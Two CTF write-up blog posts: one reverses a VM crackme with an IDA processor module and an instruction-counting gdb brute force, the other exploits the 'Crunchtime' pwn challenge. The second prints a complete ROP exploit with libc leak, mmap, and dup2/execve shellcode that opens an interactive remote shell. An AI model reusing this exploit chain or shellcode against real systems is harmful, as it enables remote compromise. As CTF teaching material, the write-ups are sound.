11/03/2013

Another NDH quals another VM wait ...

Introduction

Last weekend I participated in the Nuit du Hack CTF Quals 2013 with my teamate delroth, you can find an excellent write-up about escaping a Python sandbox on his blog.

So I decided to post a writeup too about the last crackme challenge "Crackme #1".

This Reverse Engineering challenge was a virtual machine, so I decided to reverse the full vm, but today I figured out something ...

Do you remember last ndh prequals ? no no I will not talk about bmp chall but about VMNDH-2k12, it was exactly the same VM (I'm very sad to have lost some hours to reverse something that I know), the only changes was the opcode values, so this post will not deal with the vm stuff you have all the information on this website.

VM Opcode

You can find the vm dump at :

LOAD:000000000048F2E8 vm_dump         db  7Fh ; 
LOAD:000000000048F2E9                 db  45h ; E
LOAD:000000000048F2EA                 db  4Ch ; L
LOAD:000000000048F2EB                 db  46h ; F
LOAD:000000000048F2EC                 db  72h ; r
LOAD:000000000048F2ED                 db    3
LOAD:000000000048F2EE                 db  0Ah

Real vm code start at offset 0x06 (byte 0x0A) and the size of the vm code is 0x371 (881 bytes).

Do you want to mary me ?

I love IDA, and I like writting plugins, scripts, processor (when I don't have to reverse IDA for understanding how their api works :p) in python, so after reversing almost the same vm, I decided to write my ndh2k13 processor, here is the code :

from idaapi import * class DecodingError(Exception): pass class NDHProcessor(processor_t): id = 0x8000 + 5855 flag = PR_ADJSEGS | PRN_HEX cnbits = 8 dnbits = 8 psnames = ["ndh2k13"] plnames = ["ndh2k13 VM CPU"] segreg_size = 0 instruc_start = 0 assembler = { "flag": AS_NCHRE | ASH_HEXF4 | ASD_DECF1 | ASO_OCTF3 | ASB_BINF2 | AS_NOTAB, "uflag": 0, "name": "NDH assembler", "origin": ".org", "end": ".end", "cmnt": ";", "ascsep": '"', "accsep": "'", "esccodes": "\"'", "a_ascii": ".ascii", "a_byte": ".byte", "a_word": ".word", "a_bss": "dfs %s", "a_seg": "seg", "a_curip": "PC", "a_public": "", "a_weak": "", "a_extrn": ".extern", "a_comdef": "", "a_align": ".align", "lbrace": "(", "rbrace": ")", "a_mod": "%", "a_band": "&", "a_bor": "|", "a_xor": "^", "a_bnot": "~", "a_shl": "<<", "a_shr": ">>", "a_sizeof_fmt": "size %s", } reg_names = regNames = [ "R0", "R1", "R2", "R3", "R4", "R5", "R6", "R7", "SP", "BP", "CS", "DS" ] instruc = instrs = [ { 'name': 'PUSH', 'feature': CF_USE1 }, { 'name': 'PUSHB', 'feature': CF_USE1 }, { 'name': 'PUSHW', 'feature': CF_USE1 }, { 'name': 'NOP', 'feature': 0 }, { 'name': 'POP', 'feature': CF_USE1 }, { 'name': 'MOV', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'MOVB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'MOVW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ADD', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ADDB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ADDW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'SUB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'SUBB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'SUBW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'MUL', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'MULB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'MULW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'DIV', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'DIVB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'DIVW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'INC', 'feature': CF_USE1 }, { 'name': 'DEC', 'feature': CF_USE1 }, { 'name': 'OR', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ORB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ORW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'AND', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ANDB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ANDW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'XOR', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'XORB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'XORW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'NOT', 'feature': CF_USE1 }, { 'name': 'JZ', 'feature': CF_USE1 }, { 'name': 'JNZ', 'feature': CF_USE1 }, { 'name': 'JMPS', 'feature': CF_USE1 | CF_STOP }, { 'name': 'TEST', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'CMP', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'CMPB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'CMPW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'CALL', 'feature': CF_USE1 | CF_CALL }, { 'name': 'RET', 'feature': CF_STOP }, { 'name': 'JMPL', 'feature': CF_USE1 | CF_STOP }, { 'name': 'END', 'feature': CF_STOP }, { 'name': 'XCHG', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'JA', 'feature': CF_USE1 }, { 'name': 'JB', 'feature': CF_USE1 }, { 'name': 'SYSCALL', 'feature': 0 }, ] instruc_end = len(instruc) def __init__(self): processor_t.__init__(self) self._init_instructions() self._init_registers() def _init_instructions(self): self.inames = {} for idx, ins in enumerate(self.instrs): self.inames[ins['name']] = idx def _init_registers(self): self.reg_ids = {} for i, reg in enumerate(self.reg_names): self.reg_ids[reg] = i self.regFirstSreg = self.regCodeSreg = self.reg_ids["CS"] self.regLastSreg = self.regDataSreg = self.reg_ids["DS"] def _read_cmd_byte(self): ea = self.cmd.ea + self.cmd.size byte = get_full_byte(ea) self.cmd.size += 1 return byte def _read_reg(self): r = self._read_cmd_byte() if r >= 0x0A: raise DecodingError() return r def _ana_ntypeinstr(self, name, valid): cmd = self.cmd optype = self._read_cmd_byte() if optype not in valid: raise DecodingError() if optype not in (4, 5, 6): cmd[0].type = o_reg cmd[0].dtyp = dt_word cmd[0].reg = self._read_reg() if optype == 0x0: cmd.itype = self.inames[name] cmd[1].type = o_reg cmd[1].dtyp = dt_word cmd[1].reg = self._read_reg() elif optype == 0x1: cmd.itype = self.inames[name + "B"] cmd[1].type = o_imm cmd[1].dtyp = dt_byte cmd[1].value = self._read_cmd_byte() elif optype == 0x2: cmd.itype = self.inames[name + "W"] cmd[1].type = o_imm cmd[1].dtyp = dt_word cmd[1].value = self._read_cmd_byte() cmd[1].value |= self._read_cmd_byte() << 8 elif optype == 0x3: cmd.itype = self.inames[name] elif optype == 0x4: cmd.itype = self.inames[name + "B"] cmd[0].type = o_imm cmd[0].dtyp = dt_byte cmd[0].value = self._read_cmd_byte() elif optype == 0x5: cmd.itype = self.inames[name + "W"] cmd[0].type = o_imm cmd[0].dtyp = dt_word cmd[0].value = self._read_cmd_byte() cmd[0].value |= self._read_cmd_byte() << 8 elif optype == 0x6: cmd.itype = self.inames[name + "B"] cmd[0].type = o_phrase cmd[0].dtyp = dt_word cmd[0].reg = self._read_reg() cmd[1].type = o_reg cmd[1].dtyp = dt_word cmd[1].reg = self._read_reg() elif optype == 0xA: cmd.itype = self.inames[name] cmd[1].type = o_phrase cmd[1].dtyp = dt_word cmd[1].reg = self._read_reg() else: raise DecodingError() def _ana_one_r(self, name): cmd = self.cmd cmd.itype = self.inames[name] cmd[0].type = o_reg cmd[0].dtyp = dt_word cmd[0].reg = self._read_reg() def _ana_two_r(self, name): cmd = self.cmd cmd.itype = self.inames[name] cmd[0].type = o_reg cmd[0].dtyp = dt_word cmd[0].reg = self._read_reg() cmd[1].type = o_reg cmd[1].dtyp = dt_word cmd[1].reg = self._read_reg() def _ana_jmp(self, name, size=16): cmd = self.cmd cmd.itype = self.inames[name] addr = self._read_cmd_byte() if size == 16: addr |= self._read_cmd_byte() << 8 if (addr & 0x8000): addr -= 0x10000 else: if addr & 0x80: addr -= 0x100 addr += cmd.ea + cmd.size cmd[0].type = o_near cmd[0].dtyp = dt_word cmd[0].addr = addr def _ana(self): cmd = self.cmd opcode = self._read_cmd_byte() if opcode == 0x1F: self._ana_ntypeinstr("PUSH", valid=(3, 4, 5)) elif opcode == 0x0A: cmd.itype = self.inames["JMPL"] self._ana_jmp("JMPL") elif opcode == 0x1C: self._ana_ntypeinstr("MOV", valid=(0, 1, 2, 6, 7, 8, 9, 10)) elif opcode == 0x0C: cmd.itype = self.inames["CALL"] flags = self._read_cmd_byte() if flags == 0x4: addr = self._read_cmd_byte() addr |= self._read_cmd_byte() << 8 if (addr & 0x8000): addr -= 0x10000 addr += cmd.ea + cmd.size cmd[0].type = o_near cmd[0].dtyp = dt_word cmd[0].addr = addr elif flags == 0x3: reg = self._read_reg() cmd[0].type = o_reg cmd[0].dtyp = dt_word cmd[0].reg = reg else: raise DecodingError() elif opcode == 0x30: cmd.itype = self.inames["SYSCALL"] elif opcode == 0x0B: cmd.itype = self.inames["RET"] elif opcode == 0x1A: self._ana_ntypeinstr("SUB", valid=(0, 1, 2)) elif opcode == 0x0D: self._ana_ntypeinstr("CMP", valid=(0, 1, 2)) elif opcode == 0x11: self._ana_jmp("JZ") elif opcode == 0x09: cmd.itype = self.inames["END"] elif opcode == 0x1F: self._ana_jmp("JMPS", size=8) elif opcode == 0x17: self._ana_one_r("INC") elif opcode == 0x10: self._ana_jmp("JNZ") elif opcode == 0x16: self._ana_one_r("DEC") elif opcode == 0x13: self._ana_ntypeinstr("XOR", valid=(0, 1, 2)) elif opcode == 0x0E: self._ana_two_r("TEST") elif opcode == 0x1D: self._ana_one_r("POP") elif opcode == 0x07: self._ana_jmp("JA") elif opcode == 0x0F: self._ana_jmp("JMPS", size=8) elif opcode == 0x06: self._ana_jmp("JB") elif opcode == 0x1B: self._ana_ntypeinstr("ADD", valid=(0, 1, 2)) elif opcode == 0x08: self._ana_two_r("XCHG") elif opcode == 0x19: self._ana_ntypeinstr("MUL", valid=(0, 1, 2)) else: raise DecodingError() return cmd.size def ana(self): try: return self._ana() except DecodingError: return 0 def _emu_operand(self, op): if op.type == o_mem: ua_dodata2(0, op.addr, op.dtyp) ua_add_dref(0, op.addr, dr_R) elif op.type == o_near: if self.cmd.get_canon_feature() & CF_CALL: fl = fl_CN else: fl = fl_JN ua_add_cref(0, op.addr, fl) def emu(self): cmd = self.cmd ft = cmd.get_canon_feature() if ft & CF_USE1: self._emu_operand(cmd[0]) if ft & CF_USE2: self._emu_operand(cmd[1]) if ft & CF_USE3: self._emu_operand(cmd[2]) if not ft & CF_STOP: ua_add_cref(0, cmd.ea + cmd.size, fl_F) return True def outop(self, op): if op.type == o_reg: out_register(self.reg_names[op.reg]) elif op.type == o_imm: OutValue(op, OOFW_IMM) elif op.type in [o_near, o_mem]: ok = out_name_expr(op, op.addr, BADADDR) if not ok: out_tagon(COLOR_ERROR) OutLong(op.addr, 16) out_tagoff(COLOR_ERROR) QueueMark(Q_noName, self.cmd.ea) elif op.type == o_phrase: out_symbol('[') out_register(self.reg_names[op.reg]) out_symbol(']') else: return False return True def out(self): cmd = self.cmd ft = cmd.get_canon_feature() buf = init_output_buffer(1024) OutMnem(15) if ft & CF_USE1: out_one_operand(0) if ft & CF_USE2: OutChar(',') OutChar(' ') out_one_operand(1) if ft & CF_USE3: OutChar(',') OutChar(' ') out_one_operand(2) term_output_buffer() cvar.gl_comm = 1 MakeLine(buf) def PROCESSOR_ENTRY(): return NDHProcessor()

If you have trouble for dumping vm_opcode, you can find the dump here.

Load the vm into IDA, choose "ndh2k13 VM CPU: ndh2k13", when IDA ask you for the memory organisation tell him :

Now you can start reverse :)

Solution

We have got only 3 syscall for this version of the vm :

The code of the vm start here :

ROM:8317                 MOVW           R0, aPassword
ROM:831C                 CALL           write_msg
ROM:8320                 SUBB           SP, $20
ROM:8324                 MOV            R2, SP
ROM:8328                 MOVB           R1, 0
ROM:832C                 MOVB           R3, $1F
ROM:8330                 MOVB           R0, $3
ROM:8334                 SYSCALL                 ; SYSCALL READ
ROM:8335                 MOV            R0, R2
ROM:8339                 CALL           check_password

And the pseudo - code of the function check_password is :

char *key = 0x8342;
if (strlen(buf_password) == 9)	// "\n" include
	if (buf_password[0] ^ key[0] == 'S')
		if (buf_password[1] ^ key[1] == '[')
			if (buf_password[2] ^ key[2] == 'K')
				if (buf_password[3] ^ key[3] == ')')
					... etc ...
					print("GOOD PASSWORD\n")
					exit
print("BAD PASSWORD\n")
exit

And the good password is :

key = [0x12, 0x21, 0x02, 0x19, 0x25, 0x34, 0x29, 0x11]
res = ['S', '[', 'K', ')', 'R', 'v', 'Z', 'I']
password = ""
for i in xrange(0, 8):
	password += chr(ord(res[i]) ^ key[i])
print password

The flag was 'AzI0wBsX'.

Conclusion

I'm an idiot to reverse an entire vm and not figure out it was the same than last year, but during ctf you want to be the fatest and don't (always) think about old challenges.

Another solution was to count the number of instructions executed by the vm, yeah because when you write crackme, I think you should compute hash, or something like that, because consecutive if statements is just lulz.

Enjoy :

#! /bin/sh

charset="a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z"
charset="$charset _ - ! $ % ^ \\& \\* + = 0 1 2 3 4 5 6 7 8 9 > < ,"

cat > gdbscript <<EOF
set height 0
define countinstrs
	p "instr"
	c
	countinstrs
end

b *0x0000000000400C7F	# call handler opcode
run < guess

countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
EOF

for c in $charset; do
	guess="$c"
	echo -n "$guess" > guess
	echo "AAAAAAA" >> guess
	echo -n "trying key `cat guess`... "
	gdb ./simple < gdbscript 2>&1 \
		| grep '^\$.*= "instr"$' \
		| tail -1 \
		| cut -d ' ' -f 1 \
		| cut -c 2-
done

First letter :

trying key zAAAAAAA... 245
trying key AAAAAAAA... 252
trying key BAAAAAAA... 245

Edit script for replacing first letter by "A"

trying key AyAAAAAA... 252
trying key AzAAAAAA... 259
trying key AAAAAAAA... 252

And do it for the 8 letters.

21/02/2013

CrunchTime

Introduction

Last weekend I participated in the GitS 2013 CTF for team SoSix (team created with my friend @delroth).

Here is my writeup for the pwn400 challenge, called Crunchtime.
Crunchtime is a linux elf64 binary which is an hash generating service.
The binary offers 5 options :

Addstring

This option will ask the user to enter a string, save it in a mallocated buffer, and save the ptr into a pool of 0x64 (100) string table.
If the user has entered more than 0x64 string, it will reset the counter of strings index to 0, and free the old string.

PrintString

This option asks the user which string number he wants, and print it. This function checks if the number < 0xFF and print the string. Here is the first fail, we can leak some information but there are not really useful.

ComputeCRC

This option will generate CRC for all the strings entered by the user.

PrintCRC

This option will print all CRC computed and the string which is associated.

Vulnerability

When the user asks for a new string, a function "CreateNewString" (Offset : ImageBase + 0xEC0) is called, this function has the following stack frame :

Crunchtime_stack_frame

But when the user is asked for a new string, it will read 0x221 bytes or read until finding 0x0A ("\n").

.text:00007FFFF7FFDEE7 mov edx, 221h .text:00007FFFF7FFDEEC mov rsi, rsp .text:00007FFFF7FFDEEF mov edi, ebp ; fd .text:00007FFFF7FFDEF1 mov cl, 0Ah .text:00007FFFF7FFDEF3 call ReadUntil

So we can overwrite the low byte of the return adress of this function, and the saved rbp rbx and rflags registers pushed before the call.
We will have to find good gadget between return_address00 and return_adressFF, and if we look deeper the disassembly before the call fo "CreateNewString" :

.text:00007FFFF7FFDF4B push rbx .text:00007FFFF7FFDF4C lea rbx, [rdx+32h] ; Counter .text:00007FFFF7FFDF50 mov rcx, [rsi+rbx*8] .text:00007FFFF7FFDF54 test rcx, rcx .text:00007FFFF7FFDF57 jz short loc_7FFFF7FFDF78 .text:00007FFFF7FFDF59 lea rsi, aFreeingStringD ; "freeing string %d: %s\n" .text:00007FFFF7FFDF60 xor eax, eax .text:00007FFFF7FFDF62 call vaSendStrlen .text:00007FFFF7FFDF67 mov rdi, [r12+rbx*8] ; ptr .text:00007FFFF7FFDF6B call _free .text:00007FFFF7FFDF70 mov qword ptr [r12+rbx*8], 0 .text:00007FFFF7FFDF78 .text:00007FFFF7FFDF78 loc_7FFFF7FFDF78: ; CODE XREF: AddString+1Cj .text:00007FFFF7FFDF78 mov edi, r14d ; fd .text:00007FFFF7FFDF7B call CreateNewString

We can see that before the call, we can find a push rbx (0x00007FFFF7FFDF4B), and we know that we can control rbx.
So if we overwrite low byte of the return address with 0x4B, it will push a value on the stack, and ask us again to enter a string and re-trigger the vuln.
Let's see an example :

Now we can control full of rip.

> readelf -a ./crunchtime-f3b872bbfd3caa9f9b4013beb399106bfcb8ac50 | grep -A1 GNU_STACK
GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
				0x0000000000000000 0x0000000000000000  RW     8

The stack is not executable so we will have to do some ROP.
But there is another problem :)

> readelf -h ./crunchtime-f3b872bbfd3caa9f9b4013beb399106bfcb8ac50 | grep Type
Type:                              DYN (Shared object file)

The binary is of type shared object, so each time it will be executed the BaseAddress will not be the same, so the address of our gadgets will change !
We will have to find a way to leak information, especially one which help us to construct our rop payload.
Here is the pseudo-code of the function "CreateNewString" :

size = ReadUntil(fd, buffer, 0x221, 0x0A);
if (buffer[size] == 0x0A)
	buffer[size] = 0;
memcpy(malloc(strlen(buffer)), buffer, strlen(buffer));

If the buffer doesn't end with "\n", no null byte will be put at the end of the new string, so when strlen will be called, it will go after the saved rbx, rbp, rflags, and stop at the return adress which contains a null byte in the high byte, so we can leak the return adress and we can know where our binary is loaded.
Let's see with an example, for avoiding problems saved rflags are set to 0x0202020202020202 :

> perl -e'print "1\n" . "A"x536 . "\x02"x8 . "\x80" . "2\n0\n5\n"' | nc  localhost 10100 | hexdump -C
00000000  53 65 6c 65 63 74 20 61  6e 20 6f 70 74 69 6f 6e  |Select an option|
00000010  3a 0a 20 20 31 2e 20 41  64 64 20 73 74 72 69 6e  |:.  1. Add strin|
00000020  67 0a 20 20 32 2e 20 50  72 69 6e 74 20 73 74 72  |g.  2. Print str|
00000030  69 6e 67 0a 20 20 33 2e  20 47 65 6e 65 72 61 74  |ing.  3. Generat|
00000040  65 20 43 52 43 73 0a 20  20 34 2e 20 50 72 69 6e  |e CRCs.  4. Prin|
00000050  74 20 43 52 43 73 0a 20  20 35 2e 20 45 78 69 74  |t CRCs.  5. Exit|
00000060  0a 4e 65 77 20 73 74 72  69 6e 67 3a 20 53 65 6c  |.New string: Sel|
00000070  65 63 74 20 61 6e 20 6f  70 74 69 6f 6e 3a 0a 20  |ect an option:. |
00000080  20 31 2e 20 41 64 64 20  73 74 72 69 6e 67 0a 20  | 1. Add string. |
00000090  20 32 2e 20 50 72 69 6e  74 20 73 74 72 69 6e 67  | 2. Print string|
000000a0  0a 20 20 33 2e 20 47 65  6e 65 72 61 74 65 20 43  |.  3. Generate C|
000000b0  52 43 73 0a 20 20 34 2e  20 50 72 69 6e 74 20 43  |RCs.  4. Print C|
000000c0  52 43 73 0a 20 20 35 2e  20 45 78 69 74 0a 57 68  |RCs.  5. Exit.Wh|
000000d0  69 63 68 20 73 74 72 69  6e 67 20 6e 75 6d 62 65  |ich string numbe|
000000e0  72 20 64 6f 20 79 6f 75  20 77 61 6e 74 3f 0a 53  |r do you want?.S|
000000f0  74 72 69 6e 67 20 30 20  2d 20 41 41 41 41 41 41  |tring 0 - AAAAAA|
00000100  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
*
00000310  41 41 02 02 02 02 02 02  02 02 80 9f 40 4e fa 7f  |AA..........@N..|
00000320  0a 53 65 6c 65 63 74 20  61 6e 20 6f 70 74 69 6f  |.Select an optio|
00000330  6e 3a 0a 20 20 31 2e 20  41 64 64 20 73 74 72 69  |n:.  1. Add stri|
00000340  6e 67 0a 20 20 32 2e 20  50 72 69 6e 74 20 73 74  |ng.  2. Print st|
00000350  72 69 6e 67 0a 20 20 33  2e 20 47 65 6e 65 72 61  |ring.  3. Genera|
00000360  74 65 20 43 52 43 73 0a  20 20 34 2e 20 50 72 69  |te CRCs.  4. Pri|
00000370  6e 74 20 43 52 43 73 0a  20 20 35 2e 20 45 78 69  |nt CRCs.  5. Exi|
00000380  74 0a                                             |t.|
00000382

As you can see after the repeated "A" we can see the return adress : 0x7ffa4e409f80.
Now we are able to compute address of each gadgets with this leak, the rop payload is same as usual, we leak information from glibc, call mmap(RWX), recv into the new RWX zone and call it.
Just a thing, the only way I found to set rsi to the value I want (rsi is used as buffer parameter for recv() and send()), is to jump into the middle of a function and use this gadget :

00007FFFF7FFE3F0 mov     rsi, r12

It calls recv() just after, so be careful.

I didn't find any shellcode with dup2 and execve, so I wrote it :

; dup2(4, 2)
; dup2(4, 1)
; dup2(4, 0)
; execve("/bin/sh")

push 0x04
pop rdi
push 0x21
pop rax
push 0x2
pop rsi
syscall
dec rsi
push 0x21
pop rax
syscall
dec rsi
push 0x21
pop rax
syscall
xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rax, rax
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall

Exploit

import socket
import struct
import sys

def leak_return_addr(s):
    s.recv(97)  # recv menu
    s.send("1\n")
    s.recv(12)  # recv new str
    #       [BUF]     [RBX]     [RBP]     [EFLAGS]     [RIP LOW BYTE]
    buf = "A" * 520 + "A" * 8 + "A" * 8 + "\x02" * 8 + "\x80"
    s.send(buf)
    s.recv(97)
    s.send("2\n")
    s.recv(33)
    s.send("0\n")
    buf = s.recv(562)
    leak = buf[-7:-1] + "\x00" * 2
    addr_leak = struct.unpack("<Q", leak)[0]
    return addr_leak

def stage1(s, addr_return, fd):
    gadgets = [
        struct.pack("<Q", addr_return + 0x278),     # pop rdx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x7E5),     # pop r12 ; ret
        struct.pack("<Q", addr_return + 0x2020a8),  # .got.plt send()

        struct.pack("<Q", addr_return + 0x680),     # pop rcx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x50D),     # pop r13; pop r14 ; ret
        struct.pack("<Q", fd),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", addr_return + 0x470),     # mov rsi, r12
        struct.pack("<Q", 0x0),                     #   pop r10
        struct.pack("<Q", 0x0),                     #   pop rbx
        struct.pack("<Q", 0x0),                     #   pop rbp
        struct.pack("<Q", 0x0),                     #   pop r12
        struct.pack("<Q", 0x0),                     #   pop r13

        struct.pack("<Q", addr_return + 0x40),      # xor eax, eax ; pop rdi ; retn
        struct.pack("<Q", fd),

        struct.pack("<Q", addr_return + 0x278),     # pop rdx;pop rbx; poprbp;ret
        struct.pack("<Q", 0x00000000000000008),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x680),     # pop rcx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return - 0x230),     # send()

        struct.pack("<Q", addr_return + 0x50F),      # pop r14; ret
        struct.pack("<Q", fd),

        struct.pack("<Q", addr_return - 0x8),       # re triger vuln

    ]
    s.recv(97)
    s.send("1\n")
    s.recv(12)
    # 00007FFFF7FFDF4B push    rbx
    #                           [ RBX ]                [ RBP ]                [ EFLAGS]
    buf = "A" + "\x00" * 519 + struct.pack("<Q", 0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
    s.send(buf)
    gadgets.reverse()
    for i in gadgets:
        s.recv(12)
        buf = "A" + "\x00" * 519 + i + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
        s.send(buf)
    # 00007FFFF7FFDFA1 retn
    s.recv(12)
    buf = "A" + "\x00" * 519 + struct.pack("<Q", 0x0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\xA1"
    s.send(buf)
    s.send("B")
    leak_send = s.recv(8)
    send_addr = struct.unpack("<Q", leak_send)[0]
    print "[+] Send() @ = ", hex(send_addr)
    stage2(s, addr_return, fd, send_addr)

def stage2(s, addr_return, fd, send_addr):
    gadgets = [
        struct.pack("<Q", addr_return + 0x7E5),     # pop r12 ; ret
        struct.pack("<Q", 0x1000),                  # r12 = ....
        struct.pack("<Q", addr_return + 0x680),     # pop rcx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x50D),     # pop r13; pop r14 ; ret
        struct.pack("<Q", fd),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", addr_return + 0x470),     # mov rsi, r12
        struct.pack("<Q", 0x0),                     #   pop r10
        struct.pack("<Q", 0x0),                     #   pop rbx
        struct.pack("<Q", 0x0),                     #   pop rbp
        struct.pack("<Q", 0x0),                     #   pop r12
        struct.pack("<Q", 0x0),                     #   pop r13

        struct.pack("<Q", addr_return + 0x40),      # xor eax, eax ; pop rdi ; retn
        struct.pack("<Q", 0x13370000),

        struct.pack("<Q", addr_return + 0x680),     # pop rcx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000031),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x278),     # pop rdx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000007),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", send_addr - 0x51e0 ),     # mmap()

        struct.pack("<Q", addr_return + 0x7E5),     # pop r12 ; ret
        struct.pack("<Q", 0x13370000),              # r12 = ....

        struct.pack("<Q", addr_return + 0x680),     # pop rcx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x50D),     # pop r13; pop r14 ; ret
        struct.pack("<Q", fd),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", addr_return + 0x470),     #   mov rsi, r12
        struct.pack("<Q", 0x0),                     #   pop r10
        struct.pack("<Q", 0x0),                     #   pop rbx
        struct.pack("<Q", 0x0),                     #   pop rbp
        struct.pack("<Q", 0x0),                     #   pop r12
        struct.pack("<Q", 0x0),                     #   pop r13

        struct.pack("<Q", addr_return + 0x278),     # pop rdx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x1000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x42),      # pop rdi ; ret
        struct.pack("<Q", fd),

        struct.pack("<Q", addr_return + 0x680),     # pop rcx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return - 0x270),     # recv()

        struct.pack("<Q", 0x13370000),              # r12 = ....
        struct.pack("<Q", addr_return - 0x110),     # exit DBG

    ]
    s.recv(12)
    buf = "A" + "\x00" * 518 + struct.pack("<Q", 0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
    s.send(buf)
    gadgets.reverse()
    for i in gadgets:
        s.recv(12)
        buf = "A" + "\x00" * 519 + i + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
        s.send(buf)
    s.recv(12)
    buf = "A" + "\x00" * 519 + struct.pack("<Q", 0x0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\xA1"
    s.send(buf)
    s.send("\x90")
    s.send("\x90")

    shellcode = "\x6a\x04\x5f\x6a\x21\x58\x6a\x02\x5e\x0f\x05\x48\xff\xce\x6a\x21\x58\x0f\x05\x48\xff\xce\x6a\x21\x58\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" + "\x90" * 50


    payload = "\x90" * (4096 - len(shellcode)) + shellcode

    s.send(payload)
    enjoyshell(s)

def enjoyshell(s):
    while True:
        print ">",
        cmd = raw_input()
        if not cmd:
            break
        s.send(cmd + "\n")
        sys.stdout.write(s.recv(65536) + "\n")

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("localhost", 10100))
    addr_return = leak_return_addr(s)
    print "[+] Addr leak = ", hex(addr_return)
    stage1(s, addr_return, 4)
    s.close()

if __name__ == '__main__':
    main()

Pages : 1